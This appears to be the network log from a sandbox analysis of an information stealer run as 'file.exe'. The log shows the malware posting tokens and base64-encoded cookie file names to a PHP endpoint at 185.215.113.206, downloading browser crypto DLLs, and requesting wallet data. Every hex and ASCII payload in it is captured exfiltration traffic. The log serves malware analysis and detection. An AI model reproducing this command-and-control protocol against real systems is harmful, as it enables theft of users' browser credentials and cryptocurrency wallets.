Nov 21, 2024 19:58:31.997684956 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHDGHCGHCAAKFIIECF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="file"------DBGHDGHCGHCAAKFIIECF--
Nov 21, 2024 19:58:32.951266050 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49746	185.215.113.206	80	5612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 19:58:38.652218103 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AFCBAEBAEBFHCAKFCAKE--
Nov 21, 2024 19:58:40.580411911 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 19:58:41.038666010 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file"------JDGIIDHJEBGIDHJJDBKE--
Nov 21, 2024 19:58:41.995886087 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 19:58:43.032946110 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 19:58:43.488888025 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 21, 2024 19:58:43.488924026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 21, 2024 19:58:43.488930941 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 21, 2024 19:58:43.489018917 CET	672	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 21, 2024 19:58:43.489025116 CET	1236	IN	Data Raw: c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 00 00 83 c4 08 85 c0 74 30 8b 1f 85 db 74 2c 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 eb Data Ascii: GGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFHuWSFHE}j@PWS
Nov 21, 2024 19:58:43.489037037 CET	1236	IN	Data Raw: 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff Data Ascii: WVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1
Nov 21, 2024 19:58:43.489042044 CET	1236	IN	Data Raw: 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 Data Ascii: VuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}
Nov 21, 2024 19:58:43.489048958 CET	1236	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
Nov 21, 2024 19:58:43.497458935 CET	1236	IN	Data Raw: 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b Data Ascii: UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2
Nov 21, 2024 19:58:43.497570038 CET	1236	IN	Data Raw: f0 fe ff ff 8b 5d e4 11 d3 03 85 5c ff ff ff 89 45 d0 11 f3 89 5d e4 31 d9 8b 95 64 ff ff ff 31 c2 89 d0 0f a4 c8 10 0f ac ca 10 89 95 64 ff ff ff 8b 4d c4 01 d1 89 4d c4 11 c7 89 c3 89 7d bc 31 fe 8b 85 5c ff ff ff 31 c8 89 f1 0f a4 c1 01 89 4d Data Ascii: ]\E]1d1dMM}1\1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]
Nov 21, 2024 19:58:43.505723953 CET	1236	IN	Data Raw: ca 89 4d dc 8b 4d d8 11 d9 89 4d d8 31 c8 89 f9 31 d1 89 c2 0f a4 ca 01 89 55 a4 0f a4 c1 01 89 4d 8c 8b 45 b8 03 85 38 ff ff ff 8b 4d f0 13 8d 14 ff ff ff 8b 5d ac 01 d8 89 45 b8 8b 95 7c ff ff ff 11 d1 89 4d f0 8b bd 78 ff ff ff 31 cf 8b 75 a8 Data Ascii: MMM11UME8M]E\|Mx1u1uEEMM11ut]Pu]M11Xx]]MM11\|}$E\]}
Nov 21, 2024 19:58:45.078838110 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 19:58:45.611948967 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 21, 2024 19:58:46.505894899 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 19:58:47.002619028 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 21, 2024 19:58:47.687726021 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 19:58:48.201271057 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 21, 2024 19:58:51.552169085 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 19:58:52.009339094 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 21, 2024 19:58:52.671622038 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 19:58:53.134813070 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 21, 2024 19:58:54.199743032 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKKFHJDBKKEBFHDAAE Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 19:58:55.167573929 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 19:58:55.277719975 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="message"wallets------JJECAAEHCFIEBGCBGHIE--
